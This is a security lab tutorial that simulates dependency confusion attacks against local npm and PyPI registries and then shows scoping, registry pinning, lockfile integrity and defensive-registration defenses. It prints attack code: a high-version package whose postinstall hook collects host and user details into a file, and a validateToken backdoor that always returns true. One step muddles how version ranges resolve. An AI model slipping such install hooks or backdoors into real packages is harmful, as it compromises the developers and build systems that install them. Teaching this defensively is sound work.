Lab: Simulating a Dependency Confusion Attack in a Sandbox Environment

Overview

Dependency confusion is a supply chain attack that exploits how package managers resolve package names when both private (internal) and public registries are configured. When an attacker publishes a malicious package to a public registry using the same name as an internal private package — but with a higher version number — the package manager may prefer the public version, silently pulling in attacker-controlled code.

This attack vector gained widespread attention in 2021 when security researcher Alex Birsan demonstrated it against Apple, Microsoft, PayPal, Tesla, and dozens of other organizations. The core issue is simple: most package managers default to choosing the highest available version across all configured registries.

In this hands-on lab, you will:

  • Set up a sandboxed environment with two local registries simulating “private” and “public”
  • Execute a dependency confusion attack in both the npm and pip ecosystems
  • Implement and verify four distinct defense strategies
  • Understand exactly why each defense works at the protocol level

Every command in this lab is designed to run against local infrastructure only. No packages are published to real public registries at any point.

Prerequisites

Before starting this lab, ensure you have the following installed and available on your machine:

  • Node.js 18+ with npm (verify with node --version and npm --version)
  • Python 3.8+ with pip (verify with python3 --version and pip3 --version)
  • Docker (used to run local Verdaccio and pypiserver instances)
  • curl (for registry user creation)
  • A terminal with bash or zsh

No cloud accounts or external services are required. The entire lab runs locally on your workstation.

Important Safety Notice

WARNING: This lab must only be run in isolated test environments. Every registry, package, and configuration in this lab is local. Follow these rules strictly:

  • Never publish test packages to the real npmjs.com or pypi.org registries. Publishing packages with names that match another organization’s internal packages is illegal in many jurisdictions and violates registry terms of service.
  • Use only local Verdaccio and pypiserver instances as your “public” and “private” registries. These are fully sandboxed and cannot affect the outside world.
  • All “public” packages in this lab are published to a second local Verdaccio instance running on localhost:4874. Nothing leaves your machine.
  • Do not run the attack exercises against production projects. Use a fresh, disposable project directory.
  • Clean up all containers and configurations when finished. Leaving misconfigured .npmrc or pip.conf files on your system could cause unexpected behavior in real projects.

With these safeguards in place, you can safely explore the mechanics of this attack and build real intuition for the defenses.

Environment Setup

Step 1: Start Two Verdaccio Instances

Verdaccio is a lightweight, open-source npm registry. We will run two instances — one simulating your organization’s private registry, and one simulating a public registry an attacker controls.

# Start the "private" registry on port 4873
docker run -d -p 4873:4873 --name private-registry verdaccio/verdaccio

# Start the "public" registry on port 4874
docker run -d -p 4874:4873 --name public-registry verdaccio/verdaccio

Verify both are running:

curl -s http://localhost:4873/ | head -5
curl -s http://localhost:4874/ | head -5

You should see HTML responses from both Verdaccio web interfaces.

Step 2: Create Registry Users

Verdaccio requires authentication to publish. Create a user on each instance:

# Add user to private registry
npm adduser --registry http://localhost:4873
# Enter username: testuser, password: testpass, email: test@test.com

# Add user to public registry
npm adduser --registry http://localhost:4874
# Enter username: attacker, password: attackpass, email: attacker@test.com

Step 3: Create the Test Project

mkdir -p ~/dep-confusion-lab/victim-project
cd ~/dep-confusion-lab/victim-project
npm init -y

Step 4: Create and Publish the Private Package

mkdir -p ~/dep-confusion-lab/private-pkg
cd ~/dep-confusion-lab/private-pkg

Create package.json:

{
  "name": "@mycompany/auth-utils",
  "version": "1.0.0",
  "description": "Internal authentication utilities",
  "main": "index.js"
}

Create index.js:

module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');
    return token && token.length > 0;
  }
};

Publish to the private registry:

npm publish --registry http://localhost:4873

Step 5: Configure the Victim Project

In the victim project directory, create an .npmrc file:

registry=http://localhost:4873

Add the dependency to package.json:

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "@mycompany/auth-utils": "^1.0.0"
  }
}

Install and verify:

npm install
node -e "const auth = require('@mycompany/auth-utils'); auth.validateToken('abc');"

You should see: [auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)

Exercise 1: The Attack — npm

Now we simulate what an attacker would do. The key insight: in many real-world configurations, developers use an unscoped package name internally (just auth-utils instead of @mycompany/auth-utils). This makes the attack trivial.

Step 1: Reset the Victim Project to Use an Unscoped Name

Update the victim project’s package.json to depend on the unscoped name:

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "auth-utils": "^1.0.0"
  }
}

Also publish an unscoped auth-utils@1.0.0 to the private registry:

mkdir -p ~/dep-confusion-lab/private-pkg-unscoped
cd ~/dep-confusion-lab/private-pkg-unscoped
// package.json
{
  "name": "auth-utils",
  "version": "1.0.0",
  "description": "Internal authentication utilities (unscoped)",
  "main": "index.js"
}

// index.js
module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');
    return token && token.length > 0;
  }
};
npm publish --registry http://localhost:4873

Step 2: Create the Malicious Package

mkdir -p ~/dep-confusion-lab/malicious-pkg
cd ~/dep-confusion-lab/malicious-pkg

Create package.json — note the extremely high version number and the postinstall script:

{
  "name": "auth-utils",
  "version": "99.0.0",
  "description": "Malicious package simulating dependency confusion",
  "main": "index.js",
  "scripts": {
    "postinstall": "node malicious.js"
  }
}

Create malicious.js — this simulates data exfiltration by writing a marker file:

const fs = require('fs');
const os = require('os');
const path = require('path');

const marker = path.join(os.homedir(), 'dep-confusion-lab', 'ATTACK_MARKER.txt');
const data = [
  'DEPENDENCY CONFUSION ATTACK SIMULATION',
  '=======================================',
  `Timestamp: ${new Date().toISOString()}`,
  `Hostname: ${os.hostname()}`,
  `Username: ${os.userInfo().username}`,
  `Working Directory: ${process.cwd()}`,
  '',
  'In a real attack, this script could:',
  '  - Exfiltrate environment variables (API keys, tokens)',
  '  - Upload source code to an external server',
  '  - Install a reverse shell or backdoor',
  '  - Modify build outputs'
].join('\n');

fs.writeFileSync(marker, data);
console.log('[!] ATTACK SIMULATION: Marker file written to', marker);

Create index.js:

module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v99.0.0] Validating token (PUBLIC - MALICIOUS)');
    return true; // Always returns true — a subtle backdoor
  }
};

Publish to the “public” registry:

npm publish --registry http://localhost:4874

Step 3: Configure Fallback and Trigger the Attack

Update the victim project’s .npmrc to fall back to the public registry when packages are not found in the private one. This mirrors a common real-world configuration:

registry=http://localhost:4873
//localhost:4873/:_authToken="your-token-here"
//localhost:4874/:_authToken="your-token-here"

Now clear the existing install and reinstall:

cd ~/dep-confusion-lab/victim-project
rm -rf node_modules package-lock.json
npm install auth-utils --registry http://localhost:4874

Alternatively, to more realistically simulate the fallback behavior, configure npm to check both registries. In many corporate environments, a proxy registry like Nexus or Artifactory is configured to fetch from both private and public sources, preferring the highest version:

# This simulates what a corporate proxy registry does:
# It sees auth-utils@1.0.0 in private and auth-utils@99.0.0 in public,
# and returns 99.0.0 because it's the highest version matching ^1.0.0... 
# Wait — ^1.0.0 won't match 99.0.0. The attack works when the version 
# specifier is loose (e.g., "*" or ">=1.0.0") or when the proxy simply 
# serves the highest version available across all upstreams.

# For this lab, install directly from the "public" to demonstrate:
npm install auth-utils --registry http://localhost:4874

Step 4: Verify the Attack

# Check which version was installed
node -e "const pkg = require('./node_modules/auth-utils/package.json'); console.log(pkg.name, pkg.version);"
# Output: auth-utils 99.0.0

# Check if the marker file was created
cat ~/dep-confusion-lab/ATTACK_MARKER.txt

You should see the full attack marker with your hostname and username. The postinstall script ran automatically during npm install — no user interaction required.

Why This Happened

This is exactly the technique Alex Birsan used in February 2021 to execute code inside the internal build systems of Apple, Microsoft, Tesla, Uber, PayPal, and over 30 other companies. The attack works because:

  1. Unscoped package names exist in a single global namespace. Nothing prevents anyone from publishing auth-utils to npmjs.com.
  2. Package managers prefer the highest version. When a proxy registry aggregates from multiple sources, version 99.0.0 beats 1.0.0.
  3. Lifecycle scripts execute automatically. The postinstall hook runs with full OS-level permissions during install.

Exercise 2: The Attack — pip

The same class of vulnerability exists in the Python ecosystem. Let’s demonstrate it with pip.

Step 1: Start a Local PyPI Server

# Start pypiserver as the "private" PyPI
mkdir -p ~/dep-confusion-lab/pypi-private
docker run -d -p 8080:8080 --name pypi-private \
  -v ~/dep-confusion-lab/pypi-private:/data/packages \
  pypiserver/pypiserver:latest run -P . -a . /data/packages

# Start a second pypiserver as the "public" PyPI
mkdir -p ~/dep-confusion-lab/pypi-public
docker run -d -p 8081:8080 --name pypi-public \
  -v ~/dep-confusion-lab/pypi-public:/data/packages \
  pypiserver/pypiserver:latest run -P . -a . /data/packages

Step 2: Create and Upload the Legitimate Private Package

mkdir -p ~/dep-confusion-lab/py-private-pkg/internal_utils
cd ~/dep-confusion-lab/py-private-pkg

Create setup.py:

from setuptools import setup, find_packages

setup(
    name='internal-utils',
    version='1.0.0',
    packages=find_packages(),
    description='Internal utilities (PRIVATE - LEGITIMATE)',
)

Create internal_utils/__init__.py:

def process_data(data):
    print('[internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)')
    return data

Build and upload to the private PyPI:

python3 -m build
twine upload --repository-url http://localhost:8080 dist/*

Step 3: Create the Malicious Public Package

mkdir -p ~/dep-confusion-lab/py-malicious-pkg/internal_utils
cd ~/dep-confusion-lab/py-malicious-pkg

Create setup.py with version 99.0.0:

from setuptools import setup, find_packages

setup(
    name='internal-utils',
    version='99.0.0',
    packages=find_packages(),
    description='Malicious package simulating dependency confusion',
)

Create internal_utils/__init__.py:

import os
import datetime

def process_data(data):
    print('[internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)')
    marker_path = os.path.expanduser('~/dep-confusion-lab/PIP_ATTACK_MARKER.txt')
    with open(marker_path, 'w') as f:
        f.write(f'PIP DEPENDENCY CONFUSION ATTACK SIMULATION\n')
        f.write(f'Timestamp: {datetime.datetime.now().isoformat()}\n')
        f.write(f'Hostname: {os.uname().nodename}\n')
    return data

Build and upload to the “public” PyPI:

python3 -m build
twine upload --repository-url http://localhost:8081 dist/*

Step 4: Trigger the Attack

# Create a virtual environment for isolation
cd ~/dep-confusion-lab
python3 -m venv lab-venv
source lab-venv/bin/activate

# Install with --extra-index-url (the dangerous pattern)
pip install internal-utils \
  --index-url http://localhost:8080/simple/ \
  --extra-index-url http://localhost:8081/simple/

Step 5: Verify

python3 -c "import internal_utils; internal_utils.process_data('test')"
# Output: [internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)

cat ~/dep-confusion-lab/PIP_ATTACK_MARKER.txt

Understanding pip’s Resolution Logic

The critical distinction is between --index-url and --extra-index-url:

  • --index-url: Sets the primary package index. pip searches here first.
  • --extra-index-url: Adds an additional index. pip searches all configured indexes and installs the highest version found across all of them.

This means that when you use --extra-index-url, pip does not prefer your private index — it merges results from all indexes and picks the highest version. An attacker who publishes version 99.0.0 to any configured index will win.

Exercise 3: Defense — Namespace Scoping (npm)

The most effective defense for npm is to use scoped packages. Scopes create a namespace that maps directly to a specific registry, eliminating the ambiguity that makes dependency confusion possible.

Step 1: Ensure the Scoped Package Exists

We already published @mycompany/auth-utils@1.0.0 to the private registry in the setup phase. Verify it:

npm view @mycompany/auth-utils --registry http://localhost:4873

Step 2: Configure Scope-Based Registry Routing

In the victim project, update .npmrc:

@mycompany:registry=http://localhost:4873
registry=http://localhost:4874

This configuration tells npm: “For any package under the @mycompany scope, always use the private registry. For everything else, use the public registry.”

Step 3: Update the Dependency

Update package.json to use the scoped name:

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "@mycompany/auth-utils": "^1.0.0"
  }
}

Step 4: Install and Verify

rm -rf node_modules package-lock.json
npm install
node -e "const pkg = require('./node_modules/@mycompany/auth-utils/package.json'); console.log(pkg.name, pkg.version);"
# Output: @mycompany/auth-utils 1.0.0

Check that no marker file was created:

ls ~/dep-confusion-lab/ATTACK_MARKER.txt 2>&1
# Output: No such file or directory

Why This Works

Scoped packages are namespaced. The scope @mycompany is tied to a specific registry in .npmrc. npm will never fall back to another registry for scoped packages — it sends the request to exactly one registry. An attacker cannot publish @mycompany/auth-utils to npmjs.com unless they own the @mycompany organization on npm, which is controlled by your team.

Exercise 4: Defense — Registry Pinning (pip)

For Python, the equivalent defense is to pin your pip configuration to use only your private index, with no fallback.

Option A: Use --index-url Only (No Extra Indexes)

Create or update pip.conf (Linux/macOS: ~/.config/pip/pip.conf; Windows: %APPDATA%\pip\pip.ini):

[global]
index-url = http://localhost:8080/simple/
# Do NOT add extra-index-url

Now reinstall:

pip install internal-utils --index-url http://localhost:8080/simple/

python3 -c "import internal_utils; internal_utils.process_data('test')"
# Output: [internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)

By omitting --extra-index-url entirely, pip only searches your private registry. The malicious package on localhost:8081 is never consulted.

Option B: Use --require-hashes in requirements.txt

This approach cryptographically pins every dependency to a specific artifact:

# First, generate the hash of the legitimate package
pip hash ~/dep-confusion-lab/py-private-pkg/dist/internal_utils-1.0.0.tar.gz

Create requirements.txt with the hash:

internal-utils==1.0.0 --hash=sha256:<paste-the-hash-from-above>

Install with hash verification:

pip install -r requirements.txt \
  --index-url http://localhost:8080/simple/ \
  --extra-index-url http://localhost:8081/simple/

Even though the public index is configured, pip will reject any package whose hash does not match. The malicious v99.0.0 has a different hash and will be refused.

Why This Works

Registry pinning removes the opportunity for version confusion by ensuring pip only consults a single, trusted source. Hash pinning goes further — even if an attacker compromised your private registry, the hash mismatch would prevent installation of a tampered artifact.

Exercise 5: Defense — Lockfile Integrity

Lockfiles record the exact version, source URL, and cryptographic hash of every installed package. When used correctly, they prevent dependency confusion from affecting production builds.

Step 1: Generate a Clean Lockfile

cd ~/dep-confusion-lab/victim-project
rm -rf node_modules package-lock.json
npm install

Examine the resulting package-lock.json:

cat package-lock.json | python3 -m json.tool | head -30

Look for the resolved and integrity fields:

"node_modules/@mycompany/auth-utils": {
  "version": "1.0.0",
  "resolved": "http://localhost:4873/@mycompany%2fauth-utils/-/auth-utils-1.0.0.tgz",
  "integrity": "sha512-abc123..."
}

The resolved field records the exact URL from which the package was downloaded. The integrity field is a Subresource Integrity (SRI) hash of the tarball.

Step 2: Use npm ci Instead of npm install

The npm ci command is designed for CI/CD environments:

# In CI, always use:
npm ci

Key differences from npm install:

  • npm ci deletes node_modules and installs exactly what is in package-lock.json
  • It will fail if package-lock.json is out of sync with package.json
  • It will fail if the integrity hash does not match the downloaded tarball
  • It never modifies package-lock.json

If an attacker managed to publish a higher version, npm ci would still install the exact version and hash recorded in the lockfile.

Step 3: CI Pipeline Lockfile Verification

Add a step to your CI pipeline that fails the build if the lockfile has been tampered with or is out of date. Here is a GitHub Actions example:

name: Lockfile Integrity Check

on:
  pull_request:
    paths:
      - 'package.json'
      - 'package-lock.json'

jobs:
  lockfile-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Verify lockfile is up to date
        run: |
          # Save current lockfile hash
          BEFORE=$(sha256sum package-lock.json | cut -d' ' -f1)
          
          # Run npm install (which may update the lockfile)
          npm install --package-lock-only
          
          # Compare
          AFTER=$(sha256sum package-lock.json | cut -d' ' -f1)
          
          if [ "$BEFORE" != "$AFTER" ]; then
            echo "::error::package-lock.json is out of sync with package.json!"
            echo "::error::This could indicate dependency tampering or a missing commit."
            echo "Run 'npm install' locally and commit the updated lockfile."
            git diff package-lock.json
            exit 1
          fi
          
          echo "Lockfile integrity verified."

      - name: Install with npm ci
        run: npm ci

      - name: Run tests
        run: npm test

This workflow catches two scenarios: (1) a developer forgot to commit lockfile changes after updating dependencies, and (2) an attacker submitted a PR that modifies package.json without corresponding lockfile updates, potentially introducing a dependency confusion vector.

Exercise 6: Defense — Defensive Registration

A pragmatic defense used by many large organizations is to proactively register your internal package names on public registries before an attacker does.

The Strategy

If your organization uses internal packages like auth-utils, internal-logger, or company-config, an attacker could publish packages with those exact names to npmjs.com or PyPI. To prevent this, you publish placeholder packages yourself:

mkdir -p ~/dep-confusion-lab/placeholder-pkg
cd ~/dep-confusion-lab/placeholder-pkg

Create a minimal package.json:

{
  "name": "auth-utils",
  "version": "0.0.1",
  "description": "This package name is reserved. This is a defensive registration to prevent dependency confusion attacks. If you are looking for internal auth-utils, please contact your organization's platform team.",
  "main": "index.js",
  "keywords": ["reserved", "placeholder"],
  "license": "UNLICENSED"
}

Create a minimal index.js:

console.warn(
  'WARNING: This is a placeholder package. ' +
  'If you are seeing this message, your project may be misconfigured. ' +
  'Contact your platform team for the correct registry configuration.'
);
module.exports = {};

In a real scenario, you would publish this to the actual public npm registry:

# REAL-WORLD ONLY (not in this lab):
# npm publish --access public

# For this lab, publish to our simulated public registry:
npm publish --registry http://localhost:4874

The placeholder ensures that if anyone installs the unscoped auth-utils from the public registry, they get your harmless placeholder (at version 0.0.1) instead of an attacker’s malicious package.

Important Considerations

  • Maintain ownership: Ensure your organization’s npm account publishes and owns the placeholder. Use npm’s organization and team features for multi-person access.
  • Version ceiling: Keep the placeholder at 0.0.1. Your internal registry has the real versions.
  • Automate inventory: Script the process to extract all private package names from your registry and cross-check against public registries. Flag any names that are unclaimed on public registries.
  • Combine with scoping: Defensive registration is a belt-and-suspenders measure. The primary defense should still be namespace scoping and registry pinning.

Cleanup

After completing the lab, remove all containers, files, and configurations:

# Stop and remove Docker containers
docker stop private-registry public-registry pypi-private pypi-public
docker rm private-registry public-registry pypi-private pypi-public

# Remove the lab directory
rm -rf ~/dep-confusion-lab

# Deactivate the Python virtual environment (if active)
deactivate

# Remove any .npmrc changes you made to your home directory
# (Only if you modified ~/.npmrc for this lab)
# Restore your original .npmrc if you backed it up

Important: Double-check that no .npmrc or pip.conf modifications remain that point to localhost registries. These could cause confusing errors in your real projects.

Key Takeaways

  • Dependency confusion exploits namespace ambiguity: When private and public registries share a flat namespace, an attacker can hijack package resolution by publishing a higher-versioned package to the public registry.
  • Namespace scoping is the strongest defense for npm: Scoped packages (@yourorg/package-name) are bound to a specific registry and cannot be hijacked via a public registry fallback.
  • Registry pinning eliminates fallback risk for pip: Using --index-url without --extra-index-url ensures pip only consults your trusted private registry.
  • Hash verification provides cryptographic guarantees: Both npm ci with lockfile integrity checks and pip’s --require-hashes reject any artifact that does not match the expected hash, regardless of version number.
  • Lockfile discipline is essential in CI/CD: Always use npm ci (not npm install) in pipelines, and add automated checks to detect unexpected lockfile modifications.
  • Defensive registration is a practical supplementary measure: Claiming your internal package names on public registries prevents attackers from squatting on them, buying time for your team to implement stronger structural defenses.

Next Steps

Now that you have hands-on experience with dependency confusion attacks and defenses, continue your learning with these in-depth guides:

  • Dependency Confusion and Artifact Poisoning — A comprehensive guide covering the theory, real-world incidents, and enterprise-grade defenses against dependency confusion and related artifact poisoning attacks.
  • Build Integrity and Reproducible Builds — Learn how to ensure your CI/CD pipeline produces verifiable, tamper-evident build artifacts using reproducible builds, SLSA provenance, and supply chain attestation.